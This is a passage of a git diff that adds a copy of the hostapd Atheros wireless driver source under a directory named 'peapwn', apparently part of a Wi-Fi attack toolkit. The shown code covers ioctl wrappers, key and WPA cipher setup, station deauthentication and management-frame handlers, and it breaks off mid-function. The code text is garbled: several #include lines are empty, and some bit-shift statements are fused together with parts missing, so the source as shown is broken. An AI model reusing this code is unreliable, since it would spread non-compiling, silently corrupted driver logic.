+ event.assoc_info.addr = addr; + wpa_supplicant_event(ctx, EVENT_ASSOC, &event); +} + +static inline void drv_event_disassoc(void *ctx, const u8 *addr) +{ + union wpa_event_data event; + os_memset(&event, 0, sizeof(event)); + event.disassoc_info.addr = addr; + wpa_supplicant_event(ctx, EVENT_DISASSOC, &event); +} + +static inline void drv_event_eapol_rx(void *ctx, const u8 *src, const u8 *data, + size_t data_len) +{ + union wpa_event_data event; + os_memset(&event, 0, sizeof(event)); + event.eapol_rx.src = src; + event.eapol_rx.data = data; + event.eapol_rx.data_len = data_len; + wpa_supplicant_event(ctx, EVENT_EAPOL_RX, &event); +} + +/* driver_common.c */ +void wpa_scan_results_free(struct wpa_scan_results *res); + +/* Convert wpa_event_type to a string for logging */ +const char * event_to_string(enum wpa_event_type event); + +#endif /* DRIVER_H */ diff --git a/peapwn/mods/hostap/src/drivers/driver_atheros.c b/peapwn/mods/hostap/src/drivers/driver_atheros.c new file mode 100644 index 000000000..7d301f790 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_atheros.c @@ -0,0 +1,2205 @@ +/* + * hostapd / Driver interaction with Atheros driver + * Copyright (c) 2004, Sam Leffler + * Copyright (c) 2004, Video54 Technologies + * Copyright (c) 2005-2007, Jouni Malinen + * Copyright (c) 2009, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include + +#include "common.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "l2_packet/l2_packet.h" +#include "p2p/p2p.h" + +#include "common.h" +#ifndef _BYTE_ORDER +#ifdef WORDS_BIGENDIAN +#define _BYTE_ORDER _BIG_ENDIAN +#else +#define _BYTE_ORDER _LITTLE_ENDIAN +#endif +#endif /* _BYTE_ORDER */ + +/* + * Note, the ATH_WPS_IE setting must match with the driver build.. If the + * driver does not include this, the IEEE80211_IOCTL_GETWPAIE ioctl will fail. + */ +#define ATH_WPS_IE + +#include "ieee80211_external.h" + + +#ifdef CONFIG_WPS +#include +#endif /* CONFIG_WPS */ + +#ifndef ETH_P_80211_RAW +#define ETH_P_80211_RAW 0x0019 +#endif + +#include "linux_wext.h" + +#include "driver.h" +#include "eloop.h" +#include "priv_netlink.h" +#include "l2_packet/l2_packet.h" +#include "common/ieee802_11_defs.h" +#include "netlink.h" +#include "linux_ioctl.h" + + +struct atheros_driver_data { + struct hostapd_data *hapd; /* back pointer */ + + char iface[IFNAMSIZ + 1]; + int ifindex; + struct l2_packet_data *sock_xmit; /* raw packet xmit socket */ + struct l2_packet_data *sock_recv; /* raw packet recv socket */ + int ioctl_sock; /* socket for ioctl() use */ + struct netlink_data *netlink; + int we_version; + u8 acct_mac[ETH_ALEN]; + struct hostap_sta_driver_data acct_data; + + struct l2_packet_data *sock_raw; /* raw 802.11 management frames */ + struct wpabuf *wpa_ie; + struct wpabuf *wps_beacon_ie; + struct wpabuf *wps_probe_resp_ie; + u8 own_addr[ETH_ALEN]; +}; + +static int atheros_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code); +static int atheros_set_privacy(void *priv, int enabled); + +static const char * athr_get_ioctl_name(int op) +{ + switch (op) { + case IEEE80211_IOCTL_SETPARAM: + return "SETPARAM"; + case IEEE80211_IOCTL_GETPARAM: + return "GETPARAM"; + case IEEE80211_IOCTL_SETKEY: + return "SETKEY"; + case IEEE80211_IOCTL_SETWMMPARAMS: + return "SETWMMPARAMS"; + case IEEE80211_IOCTL_DELKEY: + return "DELKEY"; + case IEEE80211_IOCTL_GETWMMPARAMS: + return "GETWMMPARAMS"; + case IEEE80211_IOCTL_SETMLME: + return "SETMLME"; + case IEEE80211_IOCTL_GETCHANINFO: + return "GETCHANINFO"; + case IEEE80211_IOCTL_SETOPTIE: + return "SETOPTIE"; + case IEEE80211_IOCTL_GETOPTIE: + return "GETOPTIE"; + case IEEE80211_IOCTL_ADDMAC: + return "ADDMAC"; + case IEEE80211_IOCTL_DELMAC: + return "DELMAC"; + case IEEE80211_IOCTL_GETCHANLIST: + return "GETCHANLIST"; + case IEEE80211_IOCTL_SETCHANLIST: + return "SETCHANLIST"; + case IEEE80211_IOCTL_KICKMAC: + return "KICKMAC"; + case IEEE80211_IOCTL_CHANSWITCH: + return "CHANSWITCH"; + case IEEE80211_IOCTL_GETMODE: + return "GETMODE"; + case IEEE80211_IOCTL_SETMODE: + return "SETMODE"; + case IEEE80211_IOCTL_GET_APPIEBUF: + return "GET_APPIEBUF"; + case IEEE80211_IOCTL_SET_APPIEBUF: + return "SET_APPIEBUF"; + case IEEE80211_IOCTL_SET_ACPARAMS: + return "SET_ACPARAMS"; + case IEEE80211_IOCTL_FILTERFRAME: + return "FILTERFRAME"; + case IEEE80211_IOCTL_SET_RTPARAMS: + return "SET_RTPARAMS"; + case IEEE80211_IOCTL_SET_MEDENYENTRY: + return "SET_MEDENYENTRY"; + case IEEE80211_IOCTL_GET_MACADDR: + return "GET_MACADDR"; + case IEEE80211_IOCTL_SET_HBRPARAMS: + return "SET_HBRPARAMS"; + case IEEE80211_IOCTL_SET_RXTIMEOUT: + return "SET_RXTIMEOUT"; + case IEEE80211_IOCTL_STA_STATS: + return "STA_STATS"; + case IEEE80211_IOCTL_GETWPAIE: + return "GETWPAIE"; + default: + return "??"; + } +} + + +static const char * athr_get_param_name(int op) +{ + switch (op) { + case IEEE80211_IOC_MCASTCIPHER: + return "MCASTCIPHER"; + case IEEE80211_PARAM_MCASTKEYLEN: + return "MCASTKEYLEN"; + case IEEE80211_PARAM_UCASTCIPHERS: + return "UCASTCIPHERS"; + case IEEE80211_PARAM_KEYMGTALGS: + return "KEYMGTALGS"; + case IEEE80211_PARAM_RSNCAPS: + return "RSNCAPS"; + case IEEE80211_PARAM_WPA: + return "WPA"; + case IEEE80211_PARAM_AUTHMODE: + return "AUTHMODE"; + case IEEE80211_PARAM_PRIVACY: + return "PRIVACY"; + case IEEE80211_PARAM_COUNTERMEASURES: + return "COUNTERMEASURES"; + default: + return "??"; + } +} + + +static int +set80211priv(struct atheros_driver_data *drv, int op, void *data, int len) +{ + struct iwreq iwr; + int do_inline = len < IFNAMSIZ; + + /* Certain ioctls must use the non-inlined method */ + if (op == IEEE80211_IOCTL_SET_APPIEBUF || + op == IEEE80211_IOCTL_FILTERFRAME) + do_inline = 0; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + if (do_inline) { + /* + * Argument data fits inline; put it there. + */ + memcpy(iwr.u.name, data, len); + } else { + /* + * Argument data too big for inline transfer; setup a + * parameter block instead; the kernel will transfer + * the data for the driver. + */ + iwr.u.data.pointer = data; + iwr.u.data.length = len; + } + + if (ioctl(drv->ioctl_sock, op, &iwr) < 0) { + wpa_printf(MSG_DEBUG, "atheros: %s: %s: ioctl op=0x%x " + "(%s) len=%d failed: %d (%s)", + __func__, drv->iface, op, + athr_get_ioctl_name(op), + len, errno, strerror(errno)); + return -1; + } + return 0; +} + +static int +set80211param(struct atheros_driver_data *drv, int op, int arg) +{ + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.mode = op; + memcpy(iwr.u.name+sizeof(__u32), &arg, sizeof(arg)); + + if (ioctl(drv->ioctl_sock, IEEE80211_IOCTL_SETPARAM, &iwr) < 0) { + perror("ioctl[IEEE80211_IOCTL_SETPARAM]"); + wpa_printf(MSG_DEBUG, "%s: %s: Failed to set parameter (op %d " + "(%s) arg %d)", __func__, drv->iface, op, + athr_get_param_name(op), arg); + return -1; + } + return 0; +} + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * +ether_sprintf(const u8 *addr) +{ + static char buf[sizeof(MACSTR)]; + + if (addr != NULL) + snprintf(buf, sizeof(buf), MACSTR, MAC2STR(addr)); + else + snprintf(buf, sizeof(buf), MACSTR, 0,0,0,0,0,0); + return buf; +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + +/* + * Configure WPA parameters. + */ +static int +atheros_configure_wpa(struct atheros_driver_data *drv, + struct wpa_bss_params *params) +{ + int v; + + switch (params->wpa_group) { + case WPA_CIPHER_CCMP: + v = IEEE80211_CIPHER_AES_CCM; + break; + case WPA_CIPHER_TKIP: + v = IEEE80211_CIPHER_TKIP; + break; + case WPA_CIPHER_WEP104: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_WEP40: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_NONE: + v = IEEE80211_CIPHER_NONE; + break; + default: + wpa_printf(MSG_ERROR, "Unknown group key cipher %u", + params->wpa_group); + return -1; + } + wpa_printf(MSG_DEBUG, "%s: group key cipher=%d", __func__, v); + if (set80211param(drv, IEEE80211_PARAM_MCASTCIPHER, v)) { + printf("Unable to set group key cipher to %u\n", v); + return -1; + } + if (v == IEEE80211_CIPHER_WEP) { + /* key length is done only for specific ciphers */ + v = (params->wpa_group == WPA_CIPHER_WEP104 ? 13 : 5); + if (set80211param(drv, IEEE80211_PARAM_MCASTKEYLEN, v)) { + printf("Unable to set group key length to %u\n", v); + return -1; + } + } + + v = 0; + if (params->wpa_pairwise & WPA_CIPHER_CCMP) + v |= 1<wpa_pairwise & WPA_CIPHER_TKIP) + v |= 1<wpa_pairwise & WPA_CIPHER_NONE) + v |= 1<wpa_key_mgmt); + if (set80211param(drv, IEEE80211_PARAM_KEYMGTALGS, + params->wpa_key_mgmt)) { + printf("Unable to set key management algorithms to 0x%x\n", + params->wpa_key_mgmt); + return -1; + } + + v = 0; + if (params->rsn_preauth) + v |= BIT(0); +#ifdef CONFIG_IEEE80211W + if (params->ieee80211w != NO_MGMT_FRAME_PROTECTION) { + v |= BIT(7); + if (params->ieee80211w == MGMT_FRAME_PROTECTION_REQUIRED) + v |= BIT(6); + } +#endif /* CONFIG_IEEE80211W */ + + wpa_printf(MSG_DEBUG, "%s: rsn capabilities=0x%x", __func__, v); + if (set80211param(drv, IEEE80211_PARAM_RSNCAPS, v)) { + printf("Unable to set RSN capabilities to 0x%x\n", v); + return -1; + } + + wpa_printf(MSG_DEBUG, "%s: enable WPA=0x%x", __func__, params->wpa); + if (set80211param(drv, IEEE80211_PARAM_WPA, params->wpa)) { + printf("Unable to set WPA to %u\n", params->wpa); + return -1; + } + return 0; +} + +static int +atheros_set_ieee8021x(void *priv, struct wpa_bss_params *params) +{ + struct atheros_driver_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, params->enabled); + + if (!params->enabled) { + /* XXX restore state */ + if (set80211param(priv, IEEE80211_PARAM_AUTHMODE, + IEEE80211_AUTH_AUTO) < 0) + return -1; + /* IEEE80211_AUTH_AUTO ends up enabling Privacy; clear that */ + return atheros_set_privacy(drv, 0); + } + if (!params->wpa && !params->ieee802_1x) { + wpa_printf(MSG_WARNING, "No 802.1X or WPA enabled!"); + return -1; + } + if (params->wpa && atheros_configure_wpa(drv, params) != 0) { + wpa_printf(MSG_WARNING, "Error configuring WPA state!"); + return -1; + } + if (set80211param(priv, IEEE80211_PARAM_AUTHMODE, + (params->wpa ? IEEE80211_AUTH_WPA : IEEE80211_AUTH_8021X))) { + wpa_printf(MSG_WARNING, "Error enabling WPA/802.1X!"); + return -1; + } + + return 0; +} + +static int +atheros_set_privacy(void *priv, int enabled) +{ + struct atheros_driver_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, enabled); + + return set80211param(drv, IEEE80211_PARAM_PRIVACY, enabled); +} + +static int +atheros_set_sta_authorized(void *priv, const u8 *addr, int authorized) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s authorized=%d", + __func__, ether_sprintf(addr), authorized); + + if (authorized) + mlme.im_op = IEEE80211_MLME_AUTHORIZE; + else + mlme.im_op = IEEE80211_MLME_UNAUTHORIZE; + mlme.im_reason = 0; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to %sauthorize STA " MACSTR, + __func__, authorized ? "" : "un", MAC2STR(addr)); + } + + return ret; +} + +static int +atheros_sta_set_flags(void *priv, const u8 *addr, + int total_flags, int flags_or, int flags_and) +{ + /* For now, only support setting Authorized flag */ + if (flags_or & WPA_STA_AUTHORIZED) + return atheros_set_sta_authorized(priv, addr, 1); + if (!(flags_and & WPA_STA_AUTHORIZED)) + return atheros_set_sta_authorized(priv, addr, 0); + return 0; +} + +static int +atheros_del_key(void *priv, const u8 *addr, int key_idx) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_del_key wk; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s key_idx=%d", + __func__, ether_sprintf(addr), key_idx); + + memset(&wk, 0, sizeof(wk)); + if (addr != NULL) { + memcpy(wk.idk_macaddr, addr, IEEE80211_ADDR_LEN); + wk.idk_keyix = (u8) IEEE80211_KEYIX_NONE; + } else { + wk.idk_keyix = key_idx; + } + + ret = set80211priv(drv, IEEE80211_IOCTL_DELKEY, &wk, sizeof(wk)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to delete key (addr %s" + " key_idx %d)", __func__, ether_sprintf(addr), + key_idx); + } + + return ret; +} + +static int +atheros_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, int set_tx, const u8 *seq, + size_t seq_len, const u8 *key, size_t key_len) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_key wk; + u_int8_t cipher; + int ret; + + if (alg == WPA_ALG_NONE) + return atheros_del_key(drv, addr, key_idx); + + wpa_printf(MSG_DEBUG, "%s: alg=%d addr=%s key_idx=%d", + __func__, alg, ether_sprintf(addr), key_idx); + + switch (alg) { + case WPA_ALG_WEP: + cipher = IEEE80211_CIPHER_WEP; + break; + case WPA_ALG_TKIP: + cipher = IEEE80211_CIPHER_TKIP; + break; + case WPA_ALG_CCMP: + cipher = IEEE80211_CIPHER_AES_CCM; + break; +#ifdef CONFIG_IEEE80211W + case WPA_ALG_IGTK: + cipher = IEEE80211_CIPHER_AES_CMAC; + break; +#endif /* CONFIG_IEEE80211W */ + default: + printf("%s: unknown/unsupported algorithm %d\n", + __func__, alg); + return -1; + } + + if (key_len > sizeof(wk.ik_keydata)) { + printf("%s: key length %lu too big\n", __func__, + (unsigned long) key_len); + return -3; + } + + memset(&wk, 0, sizeof(wk)); + wk.ik_type = cipher; + wk.ik_flags = IEEE80211_KEY_RECV | IEEE80211_KEY_XMIT; + if (addr == NULL || is_broadcast_ether_addr(addr)) { + memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + wk.ik_keyix = key_idx; + if (set_tx) + wk.ik_flags |= IEEE80211_KEY_DEFAULT; + } else { + memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + wk.ik_keyix = IEEE80211_KEYIX_NONE; + } + wk.ik_keylen = key_len; + memcpy(wk.ik_keydata, key, key_len); + + ret = set80211priv(drv, IEEE80211_IOCTL_SETKEY, &wk, sizeof(wk)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to set key (addr %s" + " key_idx %d alg %d key_len %lu set_tx %d)", + __func__, ether_sprintf(wk.ik_macaddr), key_idx, + alg, (unsigned long) key_len, set_tx); + } + + return ret; +} + + +static int +atheros_get_seqnum(const char *ifname, void *priv, const u8 *addr, int idx, + u8 *seq) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_key wk; + + wpa_printf(MSG_DEBUG, "%s: addr=%s idx=%d", + __func__, ether_sprintf(addr), idx); + + memset(&wk, 0, sizeof(wk)); + if (addr == NULL) + memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + else + memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + wk.ik_keyix = idx; + + if (set80211priv(drv, IEEE80211_IOCTL_GETKEY, &wk, sizeof(wk))) { + wpa_printf(MSG_DEBUG, "%s: Failed to get encryption data " + "(addr " MACSTR " key_idx %d)", + __func__, MAC2STR(wk.ik_macaddr), idx); + return -1; + } + +#ifdef WORDS_BIGENDIAN + { + /* + * wk.ik_keytsc is in host byte order (big endian), need to + * swap it to match with the byte order used in WPA. + */ + int i; +#ifndef WPA_KEY_RSC_LEN +#define WPA_KEY_RSC_LEN 8 +#endif + u8 tmp[WPA_KEY_RSC_LEN]; + memcpy(tmp, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); + for (i = 0; i < WPA_KEY_RSC_LEN; i++) { + seq[i] = tmp[WPA_KEY_RSC_LEN - i - 1]; + } + } +#else /* WORDS_BIGENDIAN */ + memcpy(seq, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); +#endif /* WORDS_BIGENDIAN */ + return 0; +} + + +static int +atheros_flush(void *priv) +{ + u8 allsta[IEEE80211_ADDR_LEN]; + memset(allsta, 0xff, IEEE80211_ADDR_LEN); + return atheros_sta_deauth(priv, NULL, allsta, + IEEE80211_REASON_AUTH_LEAVE); +} + + +static int +atheros_read_sta_driver_data(void *priv, struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_sta_stats stats; + + memset(data, 0, sizeof(*data)); + + /* + * Fetch statistics for station from the system. + */ + memset(&stats, 0, sizeof(stats)); + memcpy(stats.is_u.macaddr, addr, IEEE80211_ADDR_LEN); + if (set80211priv(drv, IEEE80211_IOCTL_STA_STATS, + &stats, sizeof(stats))) { + wpa_printf(MSG_DEBUG, "%s: Failed to fetch STA stats (addr " + MACSTR ")", __func__, MAC2STR(addr)); + if (memcmp(addr, drv->acct_mac, ETH_ALEN) == 0) { + memcpy(data, &drv->acct_data, sizeof(*data)); + return 0; + } + + printf("Failed to get station stats information element.\n"); + return -1; + } + + data->rx_packets = stats.is_stats.ns_rx_data; + data->rx_bytes = stats.is_stats.ns_rx_bytes; + data->tx_packets = stats.is_stats.ns_tx_data; + data->tx_bytes = stats.is_stats.ns_tx_bytes; + return 0; +} + + +static int +atheros_sta_clear_stats(void *priv, const u8 *addr) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s", __func__, ether_sprintf(addr)); + + mlme.im_op = IEEE80211_MLME_CLEAR_STATS; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, + sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to clear STA stats (addr " + MACSTR ")", __func__, MAC2STR(addr)); + } + + return ret; +} + + +static int +atheros_set_opt_ie(void *priv, const u8 *ie, size_t ie_len) +{ + struct atheros_driver_data *drv = priv; + u8 buf[512]; + struct ieee80211req_getset_appiebuf *app_ie; + + wpa_printf(MSG_DEBUG, "%s buflen = %lu", __func__, + (unsigned long) ie_len); + wpa_hexdump(MSG_DEBUG, "atheros: set_generic_elem", ie, ie_len); + + wpabuf_free(drv->wpa_ie); + drv->wpa_ie = wpabuf_alloc_copy(ie, ie_len); + + app_ie = (struct ieee80211req_getset_appiebuf *) buf; + os_memcpy(&(app_ie->app_buf[0]), ie, ie_len); + app_ie->app_buflen = ie_len; + + app_ie->app_frmtype = IEEE80211_APPIE_FRAME_BEACON; + + /* append WPS IE for Beacon */ + if (drv->wps_beacon_ie != NULL) { + os_memcpy(&(app_ie->app_buf[ie_len]), + wpabuf_head(drv->wps_beacon_ie), + wpabuf_len(drv->wps_beacon_ie)); + app_ie->app_buflen = ie_len + wpabuf_len(drv->wps_beacon_ie); + } + wpa_hexdump(MSG_DEBUG, "atheros: SET_APPIEBUF(Beacon)", + app_ie->app_buf, app_ie->app_buflen); + set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, app_ie, + sizeof(struct ieee80211req_getset_appiebuf) + + app_ie->app_buflen); + + /* append WPS IE for Probe Response */ + app_ie->app_frmtype = IEEE80211_APPIE_FRAME_PROBE_RESP; + if (drv->wps_probe_resp_ie != NULL) { + os_memcpy(&(app_ie->app_buf[ie_len]), + wpabuf_head(drv->wps_probe_resp_ie), + wpabuf_len(drv->wps_probe_resp_ie)); + app_ie->app_buflen = ie_len + + wpabuf_len(drv->wps_probe_resp_ie); + } else + app_ie->app_buflen = ie_len; + wpa_hexdump(MSG_DEBUG, "atheros: SET_APPIEBUF(ProbeResp)", + app_ie->app_buf, app_ie->app_buflen); + set80211priv(drv, IEEE80211_IOCTL_SET_APPIEBUF, app_ie, + sizeof(struct ieee80211req_getset_appiebuf) + + app_ie->app_buflen); + return 0; +} + +static int +atheros_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s reason_code=%d", + __func__, ether_sprintf(addr), reason_code); + + mlme.im_op = IEEE80211_MLME_DEAUTH; + mlme.im_reason = reason_code; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to deauth STA (addr " MACSTR + " reason %d)", + __func__, MAC2STR(addr), reason_code); + } + + return ret; +} + +static int +atheros_sta_disassoc(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code) +{ + struct atheros_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s reason_code=%d", + __func__, ether_sprintf(addr), reason_code); + + mlme.im_op = IEEE80211_MLME_DISASSOC; + mlme.im_reason = reason_code; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to disassoc STA (addr " + MACSTR " reason %d)", + __func__, MAC2STR(addr), reason_code); + } + + return ret; +} + +#ifdef CONFIG_WPS +static void atheros_raw_recv_wps(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct atheros_driver_data *drv = ctx; + const struct ieee80211_mgmt *mgmt; + u16 fc; + union wpa_event_data event; + + /* Send Probe Request information to WPS processing */ + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)) + return; + mgmt = (const struct ieee80211_mgmt *) buf; + + fc = le_to_host16(mgmt->frame_control); + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT || + WLAN_FC_GET_STYPE(fc) != WLAN_FC_STYPE_PROBE_REQ) + return; + + os_memset(&event, 0, sizeof(event)); + event.rx_probe_req.sa = mgmt->sa; + event.rx_probe_req.da = mgmt->da; + event.rx_probe_req.bssid = mgmt->bssid; + event.rx_probe_req.ie = mgmt->u.probe_req.variable; + event.rx_probe_req.ie_len = + len - (IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req)); + wpa_supplicant_event(drv->hapd, EVENT_RX_PROBE_REQ, &event); +} +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_IEEE80211R +static void atheros_raw_recv_11r(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct atheros_driver_data *drv = ctx; + union wpa_event_data event; + const struct ieee80211_mgmt *mgmt; + u16 fc; + u16 stype; + int ielen; + const u8 *iebuf; + + /* Do 11R processing for ASSOC/AUTH/FT ACTION frames */ + if (len < IEEE80211_HDRLEN) + return; + mgmt = (const struct ieee80211_mgmt *) buf; + + fc = le_to_host16(mgmt->frame_control); + + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT) + return; + stype = WLAN_FC_GET_STYPE(fc); + + wpa_printf(MSG_DEBUG, "%s: subtype 0x%x len %d", __func__, stype, + (int) len); + + if (os_memcmp(drv->own_addr, mgmt->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "%s: BSSID does not match - ignore", + __func__); + return; + } + switch (stype) { + case WLAN_FC_STYPE_ASSOC_REQ: + if (len - IEEE80211_HDRLEN < sizeof(mgmt->u.assoc_req)) + break; + ielen = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.assoc_req)); + iebuf = mgmt->u.assoc_req.variable; + drv_event_assoc(drv->hapd, mgmt->sa, iebuf, ielen, 0); + break; + case WLAN_FC_STYPE_REASSOC_REQ: + if (len - IEEE80211_HDRLEN < sizeof(mgmt->u.reassoc_req)) + break; + ielen = len - (IEEE80211_HDRLEN + sizeof(mgmt->u.reassoc_req)); + iebuf = mgmt->u.reassoc_req.variable; + drv_event_assoc(drv->hapd, mgmt->sa, iebuf, ielen, 1); + break; + case WLAN_FC_STYPE_ACTION: + if (&mgmt->u.action.category > buf + len) + break; + os_memset(&event, 0, sizeof(event)); + event.rx_action.da = mgmt->da; + event.rx_action.sa = mgmt->sa; + event.rx_action.bssid = mgmt->bssid; + event.rx_action.category = mgmt->u.action.category; + event.rx_action.data = &mgmt->u.action.category; + event.rx_action.len = buf + len - event.rx_action.data; + wpa_supplicant_event(drv->hapd, EVENT_RX_ACTION, &event); + break; + case WLAN_FC_STYPE_AUTH: + if (len - IEEE80211_HDRLEN < sizeof(mgmt->u.auth)) + break; + os_memset(&event, 0, sizeof(event)); + os_memcpy(event.auth.peer, mgmt->sa, ETH_ALEN); + os_memcpy(event.auth.bssid, mgmt->bssid, ETH_ALEN); + event.auth.auth_type = le_to_host16(mgmt->u.auth.auth_alg); + event.auth.status_code = + le_to_host16(mgmt->u.auth.status_code); + event.auth.auth_transaction = + le_to_host16(mgmt->u.auth.auth_transaction); + event.auth.ies = mgmt->u.auth.variable; + event.auth.ies_len = len - IEEE80211_HDRLEN - + sizeof(mgmt->u.auth); + wpa_supplicant_event(drv->hapd, EVENT_AUTH, &event); + break; + default: + break; + } +} +#endif /* CONFIG_IEEE80211R */ + +#ifdef CONFIG_HS20 +static void atheros_raw_recv_hs20(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct atheros_driver_data *drv = ctx; + const struct ieee80211_mgmt *mgmt; + u16 fc; + union wpa_event_data event; + + /* Send the Action frame for HS20 processing */ + + if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.action.category) + + sizeof(mgmt->u.action.u.public_action)) + return; + + mgmt = (const struct ieee80211_mgmt *) buf; + + fc = le_to_host16(mgmt->frame_control); + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT || + WLAN_FC_GET_STYPE(fc) != WLAN_FC_STYPE_ACTION || + mgmt->u.action.category != WLAN_ACTION_PUBLIC) + return; + + wpa_printf(MSG_DEBUG, "%s:Received Public Action frame", __func__); + + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = (const u8 *) mgmt; + event.rx_mgmt.frame_len = len; + wpa_supplicant_event(drv->hapd, EVENT_RX_MGMT, &event); +} + +#endif /* CONFIG_HS20 */ + + +static int atheros_set_qos_map(void *ctx, const u8 *qos_map_set, + u8 qos_map_set_len) +{ +#ifdef CONFIG_ATHEROS_QOS_MAP + struct atheros_driver_data *drv = ctx; + struct ieee80211req_athdbg req; + struct ieee80211_qos_map *qos_map = &req.data.qos_map; + struct iwreq iwr; + int i, up_start; + + if (qos_map_set_len < 16 || qos_map_set_len > 58 || + qos_map_set_len & 1) { + wpa_printf(MSG_ERROR, "Invalid QoS Map"); + return -1; + } else { + memset(&req, 0, sizeof(struct ieee80211req_athdbg)); + req.cmd = IEEE80211_DBGREQ_SETQOSMAPCONF; + os_memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, sizeof(iwr.ifr_name)); + iwr.u.data.pointer = (void *) &req; + iwr.u.data.length = sizeof(struct ieee80211req_athdbg); + } + + qos_map->valid = 1; + qos_map->num_dscp_except = (qos_map_set_len - 16) / 2; + if (qos_map->num_dscp_except) { + for (i = 0; i < qos_map->num_dscp_except; i++) { + qos_map->dscp_exception[i].dscp = qos_map_set[i * 2]; + qos_map->dscp_exception[i].up = qos_map_set[i * 2 + 1]; + } + } + + up_start = qos_map_set_len - 16; + for (i = 0; i < IEEE80211_MAX_QOS_UP_RANGE; i++) { + qos_map->up[i].low = qos_map_set[up_start + (i * 2)]; + qos_map->up[i].high = qos_map_set[up_start + (i * 2) + 1]; + } + + if (ioctl(drv->ioctl_sock, IEEE80211_IOCTL_DBGREQ, &iwr) < 0) { + perror("ioctl[IEEE80211_IOCTL_DBGREQ]"); + wpa_printf(MSG_DEBUG, "%s: %s: Failed to set QoS Map", + __func__, drv->iface); + return -1; + } +#endif /* CONFIG_ATHEROS_QOS_MAP */ + + return 0; +} + +#if defined(CONFIG_WNM) && !defined(CONFIG_IEEE80211R) +static void atheros_raw_recv_11v(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct atheros_driver_data *drv = ctx; + union wpa_event_data event; + const struct ieee80211_mgmt *mgmt; + u16 fc; + u16 stype; + + /* Do 11R processing for WNM ACTION frames */ + if (len < IEEE80211_HDRLEN) + return; + mgmt = (const struct ieee80211_mgmt *) buf; + + fc = le_to_host16(mgmt->frame_control); + + if (WLAN_FC_GET_TYPE(fc) != WLAN_FC_TYPE_MGMT) + return; + stype = WLAN_FC_GET_STYPE(fc); + + wpa_printf(MSG_DEBUG, "%s: subtype 0x%x len %d", __func__, stype, + (int) len); + + if (os_memcmp(drv->own_addr, mgmt->bssid, ETH_ALEN) != 0) { + wpa_printf(MSG_DEBUG, "%s: BSSID does not match - ignore", + __func__); + return; + } + + switch 